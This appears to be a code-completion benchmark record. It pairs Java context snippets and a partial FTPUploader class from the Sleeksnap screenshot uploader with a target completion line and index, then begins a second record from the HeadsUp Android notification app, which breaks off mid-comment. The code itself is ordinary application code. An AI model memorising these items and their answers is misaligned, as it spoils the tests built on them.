[ "public class FileUpload implements Upload {\n\n\t/**\n\t * The file in this upload\n\t */\n\tprivate File file;\n\t\n\tpublic FileUpload(File file) {\n\t\tthis.file = file;\n\t}\n\t\n\t/**\n\t * Set the upload's file\n\t * @param file\n\t * \t\t\tThe file to set\n\t */\n\tpublic void setFile(File file) {\n\t\tthis.file = file;\n\t}\n\t\n\t/**\n\t * Get the file for the upload\n\t * @return\n\t * \t\tThe file\n\t */\n\tpublic File getFile() {\n\t\treturn file;\n\t}\n\t\n\t/**\n\t * Get this file as a FileInputStream\n\t */\n\t@Override\n\tpublic InputStream asInputStream() {\n\t\ttry {\n\t\t\treturn new FileInputStream(file);\n\t\t} catch (FileNotFoundException e) {\n\t\t\treturn null;\n\t\t}\n\t}\n}", "public class ImageUpload implements Upload {\n\t\n\t/**\n\t * The BufferedImage we are uploading\n\t */\n\tprivate BufferedImage image;\n\t\n\tpublic ImageUpload(BufferedImage image) {\n\t\tthis.image = image;\n\t}\n\n\t@Override\n\tpublic InputStream asInputStream() throws IOException {\n\t\treturn ImageUtil.toInputStream(image);\n\t}\n\t\n\t/**\n\t * Covert this image into a Base64 string\n\t * @return\n\t * \t\t\tThe image in base64\n\t * @throws IOException\n\t * \t\t\tIf an error occurred while writing/reading into base64\n\t */\n\tpublic String toBase64() throws IOException {\n\t\treturn ImageUtil.toBase64(image);\n\t}\n\n\t/**\n\t * Set this upload's image\n\t * @param image\n\t * \t\t\tThe image to set\n\t */\n\tpublic void setImage(BufferedImage image) {\n\t\tthis.image = image;\n\t}\n\n\t/**\n\t * Get this upload's image\n\t * @return\n\t * \t\tThe image of the upload\n\t */\n\tpublic BufferedImage getImage() {\n\t\treturn image;\n\t}\n}", "public class TextUpload implements Upload {\n\n\t/**\n\t * The upload text data\n\t */\n\tprivate String text;\n\t\n\tpublic TextUpload(String text) {\n\t\tthis.text = text;\n\t}\n\t\n\t@Override\n\tpublic InputStream asInputStream() {\n\t\treturn new ByteArrayInputStream(text.getBytes());\n\t}\n\t\n\t/**\n\t * Get this upload's contents\n\t * \n\t * @return\n\t * \t\t\tThe upload contents\n\t */\n\tpublic String getText() {\n\t\treturn text;\n\t}\n\t\n\t@Override\n\tpublic String toString() {\n\t\treturn text;\n\t}\n}", "public abstract class Uploader<T extends Upload> {\n\t\n\t/**\n\t * The parent uploader, used if this is a sub uploader of another generic uploader\n\t */\n\tprotected Uploader<?> parent;\n\t\n\tprivate Object settingsInstance;\n\t\n\tpublic Uploader() {\n\t\t\n\t}\n\t\n\tpublic Uploader(Uploader<?> parent) {\n\t\tthis.parent = parent;\n\t}\n\n\t/**\n\t * Get the uploader name\n\t * \n\t * @return\n\t * \t\tThe uploader name\n\t */\n\tpublic abstract String getName();\n\n\t/**\n\t * Upload the specified object\n\t * \n\t * @param t\n\t * The object\n\t * @return\n\t * \t\tThe URL or Location\n\t * @throws Exception\n\t */\n\tpublic abstract String upload(T t) throws Exception;\n\t\n\t/**\n\t * Can be overridden by the uploader to validate the settings.\n\t * \n\t * If invalid, either throw an UploaderConfigurationException or display your own message.\n\t * \n\t * @return\n\t * \t\t\ttrue if valid, false if invalid.\n\t */\n\tpublic boolean validateSettings() throws UploaderConfigurationException {\n\t\treturn true;\n\t}\n\t\n\t/**\n\t * Can be overidden to get a call when it is activated/set as default (On Load or User Settings)\n\t * By default, if this is a sub uploader for a Generic uploader, it will call the parent's onActivation method\n\t */\n\tpublic void onActivation() {\n\t\tif(parent != null) {\n\t\t\tparent.onActivation();\n\t\t}\n\t}\n\t\n\t/**\n\t * Set this uploader's parent\n\t */\n\tpublic void setParentUploader(Uploader<?> parent) {\n\t\tthis.parent = parent;\n\t}\n\t\n\tpublic Uploader<?> getParentUploader() {\n\t\treturn parent;\n\t}\n\n\tpublic boolean hasParent() {\n\t\treturn parent != null;\n\t}\n\n\t/**\n\t * Check if this class directly has settings\n\t * @return\n\t * \t\tTrue if this class has settings\n\t */\n\tpublic boolean hasDirectSettings() {\n\t\treturn getClass().isAnnotationPresent(SettingsClass.class);\n\t}\n\n\t/**\n\t * Check if this uploader (or generic uploader parent) has settings\n\t * @return\n\t * \t\tTrue if this uploader has settings\n\t */\n\tpublic boolean hasSettings() {\n\t\treturn hasDirectSettings() || parent != null && parent.hasSettings();\n\t}\n\n\t/**\n\t * Get the Settings annotation from an uploader\n\t * \n\t * @return The settings, or null if it doesn't have any\n\t */\n\tpublic SettingsClass getSettingsAnnotation() {\n\t\tSettingsClass settings = getClass().getAnnotation(SettingsClass.class);\n\n\t\tif (settings == null && parent != null) {\n\t\t\tsettings = parent.getSettingsAnnotation();\n\t\t}\n\t\treturn settings;\n\t}\n\t\n\tpublic void saveSettings(File file) throws IOException {\n\t\tWriter writer = new FileWriter(file);\n\t\ttry {\n\t\t\tScreenSnapper.GSON.toJson(settingsInstance, writer);\n\t\t} finally {\n\t\t\twriter.close();\n\t\t}\n\t}\n\t\n\tpublic Object getSettingsInstance() {\n\t\treturn settingsInstance;\n\t}\n\n\tpublic void setSettingsInstance(Object settingsInstance) {\n\t\tthis.settingsInstance = settingsInstance;\n\t}\n}", "public class UploaderConfigurationException extends UploadException {\n\n\tprivate static final long serialVersionUID = 2574424530734464288L;\n\n\tpublic UploaderConfigurationException(String string) {\n\t\tsuper(string);\n\t}\n}", "public class Password {\n\tprivate String value;\n\t\n\tpublic Password(String value) {\n\t\tthis.value = value;\n\t}\n\t\n\tpublic boolean isEmpty() {\n\t\treturn value.isEmpty();\n\t}\n\t\n\t@Override\n\tpublic String toString() {\n\t\treturn value;\n\t}\n}", "public class SimpleFTP {\n\n\t/**\n\t * Create an instance of SimpleFTP.\n\t */\n\tpublic SimpleFTP() {\n\n\t}\n\n\t/**\n\t * Connects to the default port of an FTP server and logs in as\n\t * anonymous/anonymous.\n\t */\n\tpublic synchronized void connect(String host) throws IOException {\n\t\tconnect(host, 21);\n\t}\n\n\t/**\n\t * Connects to an FTP server and logs in as anonymous/anonymous.\n\t */\n\tpublic synchronized void connect(String host, int port) throws IOException {\n\t\tconnect(host, port, \"anonymous\", \"anonymous\");\n\t}\n\n\t/**\n\t * Connects to an FTP server and logs in with the supplied username and\n\t * password.\n\t */\n\tpublic synchronized void connect(String host, int port, String user,\n\t\t\tString pass) throws IOException {\n\t\tif (socket != null) {\n\t\t\tthrow new IOException(\n\t\t\t\t\t\"SimpleFTP is already connected. Disconnect first.\");\n\t\t}\n\t\tsocket = new Socket(host, port);\n\t\treader = new BufferedReader(new InputStreamReader(\n\t\t\t\tsocket.getInputStream()));\n\t\twriter = new BufferedWriter(new OutputStreamWriter(\n\t\t\t\tsocket.getOutputStream()));\n\n\t\tString response = readLine();\n\t\tif (!response.startsWith(\"220 \")) {\n\t\t\tthrow new IOException(\n\t\t\t\t\t\"SimpleFTP received an unknown response when connecting to the FTP server: \"\n\t\t\t\t\t\t\t+ response);\n\t\t}\n\n\t\tsendLine(\"USER \" + user);\n\n\t\tresponse = readLine();\n\t\tif (!response.startsWith(\"331 \")) {\n\t\t\tthrow new IOException(\n\t\t\t\t\t\"SimpleFTP received an unknown response after sending the user: \"\n\t\t\t\t\t\t\t+ response);\n\t\t}\n\n\t\tsendLine(\"PASS \" + pass);\n\n\t\tresponse = readLine();\n\t\tif (!response.startsWith(\"230 \")) {\n\t\t\tthrow new IOException(\n\t\t\t\t\t\"SimpleFTP was unable to log in with the supplied password: \"\n\t\t\t\t\t\t\t+ response);\n\t\t}\n\n\t\t// Now logged in.\n\t}\n\n\t/**\n\t * Disconnects from the FTP server.\n\t */\n\tpublic synchronized void disconnect() throws IOException {\n\t\ttry {\n\t\t\tsendLine(\"QUIT\");\n\t\t} finally {\n\t\t\tsocket = null;\n\t\t}\n\t}\n\n\t/**\n\t * Returns the working directory of the FTP server it is connected to.\n\t */\n\tpublic synchronized String pwd() throws IOException {\n\t\tsendLine(\"PWD\");\n\t\tString dir = null;\n\t\tString response = readLine();\n\t\tif (response.startsWith(\"257 \")) {\n\t\t\tint firstQuote = response.indexOf('\\\"');\n\t\t\tint secondQuote = response.indexOf('\\\"', firstQuote + 1);\n\t\t\tif (secondQuote > 0) {\n\t\t\t\tdir = response.substring(firstQuote + 1, secondQuote);\n\t\t\t}\n\t\t}\n\t\treturn dir;\n\t}\n\n\t/**\n\t * Changes the working directory (like cd). Returns true if successful.\n\t */\n\tpublic synchronized boolean cwd(String dir) throws IOException {\n\t\tsendLine(\"CWD \" + dir);\n\t\tString response = readLine();\n\t\treturn (response.startsWith(\"250 \"));\n\t}\n\n\t/**\n\t * Sends a file to be stored on the FTP server. Returns true if the file\n\t * transfer was successful. The file is sent in passive mode to avoid NAT or\n\t * firewall problems at the client end.\n\t */\n\tpublic synchronized boolean stor(File file) throws IOException {\n\t\tif (file.isDirectory()) {\n\t\t\tthrow new IOException(\"SimpleFTP cannot upload a directory.\");\n\t\t}\n\n\t\tString filename = file.getName();\n\n\t\treturn stor(new FileInputStream(file), filename);\n\t}\n\n\t/**\n\t * Sends a file to be stored on the FTP server. Returns true if the file\n\t * transfer was successful. The file is sent in passive mode to avoid NAT or\n\t * firewall problems at the client end.\n\t */\n\tpublic synchronized boolean stor(InputStream inputStream, String filename)\n\t\t\tthrows IOException {\n\n\t\tBufferedInputStream input = new BufferedInputStream(inputStream);\n\n\t\tsendLine(\"PASV\");\n\t\tString response = readLine();\n\t\tif (!response.startsWith(\"227 \")) {\n\t\t\tthrow new IOException(\"SimpleFTP could not request passive mode: \"\n\t\t\t\t\t+ response);\n\t\t}\n\n\t\tString ip = null;\n\t\tint port = -1;\n\t\tint opening = response.indexOf('(');\n\t\tint closing = response.indexOf(')', opening + 1);\n\t\tif (closing > 0) {\n\t\t\tString dataLink = response.substring(opening + 1, closing);\n\t\t\tStringTokenizer tokenizer = new StringTokenizer(dataLink, \",\");\n\t\t\ttry {\n\t\t\t\tip = tokenizer.nextToken() + \".\" + tokenizer.nextToken() + \".\"\n\t\t\t\t\t\t+ tokenizer.nextToken() + \".\" + tokenizer.nextToken();\n\t\t\t\tport = Integer.parseInt(tokenizer.nextToken()) * 256\n\t\t\t\t\t\t+ Integer.parseInt(tokenizer.nextToken());\n\t\t\t} catch (Exception e) {\n\t\t\t\tthrow new IOException(\n\t\t\t\t\t\t\"SimpleFTP received bad data link information: \"\n\t\t\t\t\t\t\t\t+ response);\n\t\t\t}\n\t\t}\n\n\t\tsendLine(\"STOR \" + filename);\n\n\t\tSocket dataSocket = new Socket(ip, port);\n\n\t\tresponse = readLine();\n\t\tif (!response.startsWith(\"150 \")) {\n\t\t\tthrow new IOException(\n\t\t\t\t\t\"SimpleFTP was not allowed to send the file: \" + response);\n\t\t}\n\n\t\tBufferedOutputStream output = new BufferedOutputStream(\n\t\t\t\tdataSocket.getOutputStream());\n\t\tbyte[] buffer = new byte[4096];\n\t\tint bytesRead = 0;\n\t\twhile ((bytesRead = input.read(buffer)) != -1) {\n\t\t\toutput.write(buffer, 0, bytesRead);\n\t\t}\n\t\toutput.flush();\n\t\toutput.close();\n\t\tinput.close();\n\n\t\tresponse = readLine();\n\t\treturn response.startsWith(\"226 \");\n\t}\n\n\t/**\n\t * Enter binary mode for sending binary files.\n\t */\n\tpublic synchronized boolean bin() throws IOException {\n\t\tsendLine(\"TYPE I\");\n\t\tString response = readLine();\n\t\treturn (response.startsWith(\"200 \"));\n\t}\n\n\t/**\n\t * Enter ASCII mode for sending text files. This is usually the default\n\t * mode. Make sure you use binary mode if you are sending images or other\n\t * binary data, as ASCII mode is likely to corrupt them.\n\t */\n\tpublic synchronized boolean ascii() throws IOException {\n\t\tsendLine(\"TYPE A\");\n\t\tString response = readLine();\n\t\treturn (response.startsWith(\"200 \"));\n\t}\n\n\t/**\n\t * Sends a raw command to the FTP server.\n\t */\n\tprivate void sendLine(String line) throws IOException {\n\t\tif (socket == null) {\n\t\t\tthrow new IOException(\"SimpleFTP is not connected.\");\n\t\t}\n\t\ttry {\n\t\t\twriter.write(line + \"\\r\\n\");\n\t\t\twriter.flush();\n\t\t\tif (DEBUG) {\n\t\t\t\tSystem.out.println(\"> \" + line);\n\t\t\t}\n\t\t} catch (IOException e) {\n\t\t\tsocket = null;\n\t\t\tthrow e;\n\t\t}\n\t}\n\n\tprivate String readLine() throws IOException {\n\t\tString line = reader.readLine();\n\t\tif (DEBUG) {\n\t\t\tSystem.out.println(\"< \" + line);\n\t\t}\n\t\treturn line;\n\t}\n\n\tprivate Socket socket = null;\n\tprivate BufferedReader reader = null;\n\tprivate BufferedWriter writer = null;\n\n\tprivate static boolean DEBUG = false;\n\n}", "public static class DateUtil {\n\n\t/**\n\t * The date format\n\t */\n\tprivate static SimpleDateFormat dateFormat = new SimpleDateFormat(\n\t\t\t\"MM-dd-yyyy_HH-mm-ss\");\n\n\t/**\n\t * Gets a filename friendly date\n\t * \n\t * @return The formatted date\n\t */\n\tpublic static String getCurrentDate() {\n\t\treturn dateFormat.format(new Date());\n\t}\n}" ]
import org.sleeksnap.util.Utils.DateUtil; import java.io.File; import java.io.IOException; import java.io.InputStream; import org.sleeksnap.upload.FileUpload; import org.sleeksnap.upload.ImageUpload; import org.sleeksnap.upload.TextUpload; import org.sleeksnap.uploaders.Uploader; import org.sleeksnap.uploaders.UploaderConfigurationException; import org.sleeksnap.uploaders.settings.Password; import org.sleeksnap.uploaders.settings.Setting; import org.sleeksnap.uploaders.settings.SettingsClass; import org.sleeksnap.util.SimpleFTP;
/** * Sleeksnap, the open source cross-platform screenshot uploader * Copyright (C) 2012 Nikki <nikki@nikkii.us> * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ package org.sleeksnap.uploaders.generic; /** * A generic uploader for FTP servers Also serves as an example for the Settings * annotation and GenericUploaders * * @author Nikki * */ @SettingsClass(FTPUploader.FTPUploaderSettings.class) public class FTPUploader extends GenericUploader { private Uploader<?>[] uploaders = new Uploader<?>[] { new FTPImageUploader(), new FTPTextUploader(), new FTPFileUploader() }; /** * The settings object used for this uploader */ private FTPUploaderSettings settings; /** * Construct this uploader with the loaded settings * @param settings * The settings object */ public FTPUploader(FTPUploaderSettings settings) { this.settings = settings; } /** * Upload a file to the FTP server * * @param fileName * The filename * @param input * The input stream * @return The final URL * @throws IOException * If an error occurred */ public String ftpUpload(String fileName, InputStream input)
throws IOException, UploaderConfigurationException {
4
AChep/HeadsUp
project/app/src/main/java/com/achep/headsup/HeadsUpNotificationView.java
[ "@SuppressWarnings(\"ConstantConditions\")\npublic final class Config extends ConfigBase {\n\n private static final String TAG = \"Config\";\n\n public static final String KEY_ENABLED = \"enabled\";\n\n // notifications\n public static final String KEY_NOTIFY_MIN_PRIORITY = \"notify_min_priority\";\n public static final String KEY_NOTIFY_MAX_PRIORITY = \"notify_max_priority\";\n\n // interface\n public static final String KEY_UI_THEME = \"ui_theme\";\n public static final String KEY_UI_SHOW_AT_TOP = \"ui_at_top\";\n public static final String KEY_UI_OVERLAP_STATUS_BAR = \"ui_overlap_sb\";\n public static final String KEY_UI_OVERRIDE_FONTS = \"ui_override_fonts\";\n public static final String KEY_UI_EMOTICONS = \"ui_emoticons\";\n\n // behavior\n public static final String KEY_NOTIFY_DECAY_TIME = \"behavior_notify_decay_time\";\n public static final String KEY_HIDE_ON_TOUCH_OUTSIDE = \"behavior_hide_on_touch\";\n public static final String KEY_SHOW_ON_KEYGUARD = \"behavior_show_on_keyguard\";\n public static final String KEY_PRIVACY = \"privacy_mode\";\n public static final int PRIVACY_HIDE_CONTENT_MASK = 1;\n public static final int PRIVACY_HIDE_ACTIONS_MASK = 2;\n public static final String KEY_UX_STR_ACTION = \"ux_str_action\";\n public static final String KEY_UX_STL_ACTION = \"ux_stl_action\";\n public static final int ST_DISMISS = 0;\n public static final int ST_HIDE = 1;\n public static final int ST_SNOOZE = 2;\n\n // triggers\n public static final String KEY_TRIG_PREVIOUS_VERSION = \"trigger_previous_version\";\n public static final String KEY_TRIG_HELP_READ = \"trigger_dialog_help\";\n public static final String KEY_TRIG_TRANSLATED = \"trigger_translated\";\n public static final String KEY_TRIG_LAUNCH_COUNT = \"trigger_launch_count\";\n public static final String KEY_TRIG_DONATION_ASKED = \"trigger_donation_asked\";\n\n private static Config sConfig;\n\n private boolean mEnabled;\n private int mNotifyMinPriority;\n private int mNotifyMaxPriority;\n private int mPrivacyMode;\n private int mUxStrAction;\n private int mUxStlAction;\n private int mUxNotifyDecayTime;\n private boolean mUxHideOnTouchOutside;\n private boolean mUxShowOnKeyguard;\n private boolean mUiShowAtTop;\n private boolean mUiOverlapSb;\n private boolean mUiEmoticons;\n private boolean mUiOverrideFonts;\n private String mUiTheme;\n\n private final Triggers mTriggers;\n private int mTrigPreviousVersion;\n private int mTrigLaunchCount;\n private boolean mTrigTranslated;\n private boolean mTrigHelpRead;\n private boolean mTrigDonationAsked;\n\n @NonNull\n public static synchronized Config getInstance() {\n if (sConfig == null) {\n sConfig = new Config();\n }\n return sConfig;\n }\n\n private Config() {\n mTriggers = new Triggers();\n }\n\n /**\n * Loads saved values from shared preferences.\n * This is called on {@link App app's} create.\n */\n void init(@NonNull Context context) {\n Resources res = context.getResources();\n SharedPreferences prefs = getSharedPreferences(context);\n mEnabled = prefs.getBoolean(KEY_ENABLED,\n res.getBoolean(R.bool.config_default_enabled));\n\n // notifications\n mNotifyMinPriority = prefs.getInt(KEY_NOTIFY_MIN_PRIORITY,\n res.getInteger(R.integer.config_default_notify_min_priority));\n mNotifyMaxPriority = prefs.getInt(KEY_NOTIFY_MAX_PRIORITY,\n res.getInteger(R.integer.config_default_notify_max_priority));\n\n // interface\n mUiTheme = prefs.getString(KEY_UI_THEME,\n res.getString(R.string.config_default_ui_theme));\n mUiShowAtTop = prefs.getBoolean(KEY_UI_SHOW_AT_TOP,\n res.getBoolean(R.bool.config_default_ui_at_top));\n mUiOverlapSb = prefs.getBoolean(KEY_UI_OVERLAP_STATUS_BAR,\n res.getBoolean(R.bool.config_default_ui_overlap_sb));\n mUiOverrideFonts = prefs.getBoolean(KEY_UI_OVERRIDE_FONTS,\n res.getBoolean(R.bool.config_default_ui_override_fonts));\n mUiEmoticons = prefs.getBoolean(KEY_UI_EMOTICONS,\n res.getBoolean(R.bool.config_default_ui_emoticons));\n\n // behavior\n mUxNotifyDecayTime = prefs.getInt(KEY_NOTIFY_DECAY_TIME,\n res.getInteger(R.integer.config_default_notify_decay_time));\n mUxHideOnTouchOutside = prefs.getBoolean(KEY_HIDE_ON_TOUCH_OUTSIDE,\n res.getBoolean(R.bool.config_default_hide_on_touch_outside_enabled));\n mUxShowOnKeyguard = prefs.getBoolean(KEY_SHOW_ON_KEYGUARD,\n res.getBoolean(R.bool.config_default_show_on_keyguard));\n mPrivacyMode = prefs.getInt(KEY_PRIVACY,\n res.getInteger(R.integer.config_default_privacy_mode));\n mUxStrAction = prefs.getInt(KEY_UX_STR_ACTION,\n res.getInteger(R.integer.config_default_str_action));\n mUxStlAction = prefs.getInt(KEY_UX_STL_ACTION,\n res.getInteger(R.integer.config_default_stl_action));\n\n // triggers\n mTrigHelpRead = prefs.getBoolean(KEY_TRIG_HELP_READ, false);\n mTrigTranslated = prefs.getBoolean(KEY_TRIG_TRANSLATED, false);\n mTrigPreviousVersion = prefs.getInt(KEY_TRIG_PREVIOUS_VERSION, 0);\n mTrigLaunchCount = prefs.getInt(KEY_TRIG_LAUNCH_COUNT, 0);\n mTrigDonationAsked = prefs.getBoolean(KEY_TRIG_DONATION_ASKED, false);\n }\n\n @Override\n protected void onCreateHashMap(@NonNull HashMap<String, ConfigBase.Option> hashMap) {\n hashMap.put(KEY_ENABLED, new ConfigBase.Option(\n \"mEnabled\", \"setEnabled\", \"isEnabled\", boolean.class));\n\n // notifications\n hashMap.put(KEY_NOTIFY_MIN_PRIORITY, new ConfigBase.Option(\n \"mNotifyMinPriority\", null, null, int.class));\n hashMap.put(KEY_NOTIFY_MAX_PRIORITY, new ConfigBase.Option(\n \"mNotifyMaxPriority\", null, null, int.class));\n\n // interface\n hashMap.put(KEY_UI_THEME, new ConfigBase.Option(\n \"mUiTheme\", null, null, String.class));\n hashMap.put(KEY_UI_EMOTICONS, new ConfigBase.Option(\n \"mUiEmoticons\", null, null, boolean.class));\n hashMap.put(KEY_UI_OVERLAP_STATUS_BAR, new ConfigBase.Option(\n \"mUiOverlapSb\", null, null, boolean.class));\n hashMap.put(KEY_UI_SHOW_AT_TOP, new ConfigBase.Option(\n \"mUiShowAtTop\", null, null, boolean.class));\n hashMap.put(KEY_UI_OVERRIDE_FONTS, new ConfigBase.Option(\n \"mUiOverrideFonts\", null, null, boolean.class));\n\n // other\n hashMap.put(KEY_NOTIFY_DECAY_TIME, new ConfigBase.Option(\n \"mUxNotifyDecayTime\", null, null, int.class));\n hashMap.put(KEY_HIDE_ON_TOUCH_OUTSIDE, new ConfigBase.Option(\n \"mUxHideOnTouchOutside\", null, null, boolean.class));\n hashMap.put(KEY_SHOW_ON_KEYGUARD, new ConfigBase.Option(\n \"mUxShowOnKeyguard\", null, null, boolean.class));\n hashMap.put(KEY_PRIVACY, new ConfigBase.Option(\n \"mPrivacyMode\", null, null, int.class));\n hashMap.put(KEY_UX_STR_ACTION, new ConfigBase.Option(\n \"mUxStrAction\", null, null, int.class,\n Build.VERSION_CODES.JELLY_BEAN_MR2, Integer.MAX_VALUE - 1));\n hashMap.put(KEY_UX_STL_ACTION, new ConfigBase.Option(\n \"mUxStlAction\", null, null, int.class,\n Build.VERSION_CODES.JELLY_BEAN_MR2, Integer.MAX_VALUE - 1));\n\n // triggers\n hashMap.put(KEY_TRIG_DONATION_ASKED, new ConfigBase.Option(\n \"mTrigDonationAsked\", null, null, boolean.class));\n hashMap.put(KEY_TRIG_HELP_READ, new ConfigBase.Option(\n \"mTrigHelpRead\", null, null, boolean.class));\n hashMap.put(KEY_TRIG_LAUNCH_COUNT, new ConfigBase.Option(\n \"mTrigLaunchCount\", null, null, int.class));\n hashMap.put(KEY_TRIG_PREVIOUS_VERSION, new ConfigBase.Option(\n \"mTrigPreviousVersion\", null, null, int.class));\n hashMap.put(KEY_TRIG_TRANSLATED, new ConfigBase.Option(\n \"mTrigTranslated\", null, null, boolean.class));\n }\n\n @Override\n protected void onOptionChanged(@NonNull Option option, @NonNull String key) {\n switch (key) {\n case KEY_ENABLED:\n ToggleReceiver.sendStateUpdate(ToggleReceiver.class, mEnabled, getContext());\n break;\n }\n }\n\n /**\n * Separated group of different internal triggers.\n */\n @NonNull\n public Triggers getTriggers() {\n return mTriggers;\n }\n\n // //////////////////////////////////////////\n // ///////////// -- OPTIONS -- //////////////\n // //////////////////////////////////////////\n\n /**\n * Setter for the entire app enabler.\n */\n public void setEnabled(@NonNull Context context, boolean enabled,\n @Nullable OnConfigChangedListener listener) {\n writeFromMain(context, getOption(KEY_ENABLED), enabled, listener);\n }\n\n /**\n * @return minimal {@link android.app.Notification#priority} of notification to be shown.\n * @see #getNotifyMaxPriority()\n * @see android.app.Notification#priority\n */\n public int getNotifyMinPriority() {\n return mNotifyMinPriority;\n }\n\n /**\n * @return maximum {@link android.app.Notification#priority} of notification to be shown.\n * @see #getNotifyMinPriority()\n * @see android.app.Notification#priority\n */\n public int getNotifyMaxPriority() {\n return mNotifyMaxPriority;\n }\n\n public int getPrivacyMode() {\n return mPrivacyMode;\n }\n\n public String getTheme() {\n return mUiTheme;\n }\n\n public boolean isEnabled() {\n return mEnabled;\n }\n\n public boolean isOverridingFontsEnabled() {\n return mUiOverrideFonts;\n }\n\n public boolean isEmoticonsEnabled() {\n return mUiEmoticons;\n }\n\n /**\n * @return how long notification should be shown (in millis).\n */\n public int getNotifyDecayTime() {\n return mUxNotifyDecayTime;\n }\n\n /**\n * @return the action of the swipe-to-right.\n * @see #getStlAction()\n * @see #ST_DISMISS\n * @see #ST_HIDE\n * @see #ST_SNOOZE\n */\n public int getStrAction() {\n return mUxStrAction;\n }\n\n /**\n * @return the action of the swipe-to-left.\n * @see #getStrAction()\n * @see #ST_DISMISS\n * @see #ST_HIDE\n * @see #ST_SNOOZE\n */\n public int getStlAction() {\n return mUxStlAction;\n }\n\n /**\n * @return {@code true} if popups should hide on touch outside of it,\n * {@code false} otherwise.\n */\n public boolean isHideOnTouchOutsideEnabled() {\n return mUxHideOnTouchOutside;\n }\n\n public boolean isShownOnKeyguard() {\n return mUxShowOnKeyguard;\n }\n\n public boolean isShownAtTop() {\n return mUiShowAtTop;\n }\n\n public boolean isStatusBarOverlapEnabled() {\n return mUiOverlapSb;\n }\n\n // //////////////////////////////////////////\n // //////////// -- TRIGGERS -- //////////////\n // //////////////////////////////////////////\n\n /**\n * Contains\n *\n * @author Artem Chepurnoy\n */\n public class Triggers {\n\n public void setPreviousVersion(@NonNull Context context, int versionCode,\n @Nullable OnConfigChangedListener listener) {\n writeFromMain(context, getOption(KEY_TRIG_PREVIOUS_VERSION), versionCode, listener);\n }\n\n public void setHelpRead(@NonNull Context context, boolean isRead,\n @Nullable OnConfigChangedListener listener) {\n writeFromMain(context, getOption(KEY_TRIG_HELP_READ), isRead, listener);\n }\n\n public void setDonationAsked(@NonNull Context context, boolean isAsked,\n @Nullable OnConfigChangedListener listener) {\n writeFromMain(context, getOption(KEY_TRIG_DONATION_ASKED), isAsked, listener);\n }\n\n public void setTranslated(@NonNull Context context, boolean translated,\n @Nullable OnConfigChangedListener listener) {\n writeFromMain(context, getOption(KEY_TRIG_TRANSLATED), translated, listener);\n }\n\n /**\n * @see #setLaunchCount(android.content.Context, int, com.achep.base.content.ConfigBase.OnConfigChangedListener)\n * @see #getLaunchCount()\n */\n public void incrementLaunchCount(@NonNull Context context,\n @Nullable OnConfigChangedListener listener) {\n setLaunchCount(context, getLaunchCount() + 1, listener);\n }\n\n /**\n * @see #incrementLaunchCount(android.content.Context, com.achep.base.content.ConfigBase.OnConfigChangedListener)\n * @see #getLaunchCount()\n */\n public void setLaunchCount(@NonNull Context context, int launchCount,\n @Nullable OnConfigChangedListener listener) {\n writeFromMain(context, getOption(KEY_TRIG_LAUNCH_COUNT), launchCount, listener);\n }\n\n /**\n * As set by {@link com.achep.acdisplay.ui.activities.MainActivity}, it returns version\n * code of previously installed AcDisplay, {@code 0} if first install.\n *\n * @return version code of previously installed AcDisplay, {@code 0} on first installation.\n * @see #setPreviousVersion(android.content.Context, int, Config.OnConfigChangedListener)\n */\n public int getPreviousVersion() {\n return mTrigPreviousVersion;\n }\n\n /**\n * @return the number of {@link com.achep.acdisplay.ui.activities.AcDisplayActivity}'s creations.\n * @see #incrementLaunchCount(android.content.Context, com.achep.base.content.ConfigBase.OnConfigChangedListener)\n * @see #setLaunchCount(android.content.Context, int, com.achep.base.content.ConfigBase.OnConfigChangedListener)\n */\n public int getLaunchCount() {\n return mTrigLaunchCount;\n }\n\n /**\n * @return {@code true} if {@link com.achep.base.ui.fragments.dialogs.HelpDialog} been read,\n * {@code false} otherwise\n * @see #setHelpRead(android.content.Context, boolean, Config.OnConfigChangedListener)\n */\n public boolean isHelpRead() {\n return mTrigHelpRead;\n }\n\n /**\n * @return {@code true} if the app is fully translated to currently used locale,\n * {@code false} otherwise.\n * @see #setDonationAsked(android.content.Context, boolean, com.achep.base.content.ConfigBase.OnConfigChangedListener)\n */\n public boolean isTranslated() {\n return mTrigTranslated;\n }\n\n public boolean isDonationAsked() {\n return mTrigDonationAsked;\n }\n\n }\n\n}", "public class Timeout implements ISubscriptable<Timeout.OnTimeoutEventListener> {\n\n private static final String TAG = \"Timeout\";\n\n public static final int EVENT_TIMEOUT = 0;\n public static final int EVENT_SET = 1;\n public static final int EVENT_CLEARED = 2;\n public static final int EVENT_PAUSED = 3;\n public static final int EVENT_RESUMED = 4;\n\n public interface OnTimeoutEventListener {\n\n public void onTimeoutEvent(@NonNull Timeout timeout, int event);\n\n }\n\n private static final int SET = 0;\n private static final int RESUME = 1;\n private static final int PAUSE = 2;\n private static final int CLEAR = 3;\n private static final int TIMEOUT = 4;\n\n private final ArrayList<OnTimeoutEventListener> mListeners = new ArrayList<>(3);\n private final H mHandler = new H(this);\n\n private long mTimeoutPausedAt;\n private long mTimeoutDuration;\n private long mTimeoutAt;\n\n /**\n * {@inheritDoc}\n */\n @Override\n public void registerListener(@NonNull OnTimeoutEventListener listener) {\n synchronized (this) {\n mListeners.add(listener);\n }\n }\n\n /**\n * {@inheritDoc}\n */\n @Override\n public void unregisterListener(@NonNull OnTimeoutEventListener listener) {\n synchronized (this) {\n mListeners.remove(listener);\n }\n }\n\n private void notifyListeners(final int event) {\n synchronized (this) {\n for (OnTimeoutEventListener l : mListeners) l.onTimeoutEvent(this, event);\n }\n }\n\n //-- MAIN -----------------------------------------------------------------\n\n /**\n * Same as calling {@link #set(int, boolean)} with {@code override = false}.\n *\n * @see #set(int, boolean)\n * @see #resume()\n * @see #clear()\n */\n public void set(final int delay) {\n set(delay, false);\n }\n\n /**\n * Configures the timeout.\n *\n * @param override {@code true} to rewrite previous timeout\\'s time, {@code false} to\n * set the nearest one.\n * @see #set(int)\n * @see #resume()\n * @see #clear()\n */\n public void set(final int delay, boolean override) {\n Message msg = Message.obtain(mHandler, SET, delay, MathUtils.bool(override));\n mHandler.sendMessage(msg);\n }\n\n /**\n * Pauses the timeout.\n *\n * @see #resume()\n */\n public void pause() {\n mHandler.sendEmptyMessage(PAUSE);\n }\n\n /**\n * Resumes the timeout (does nothing if the timeout if cleared).\n *\n * @see #set(int, boolean)\n * 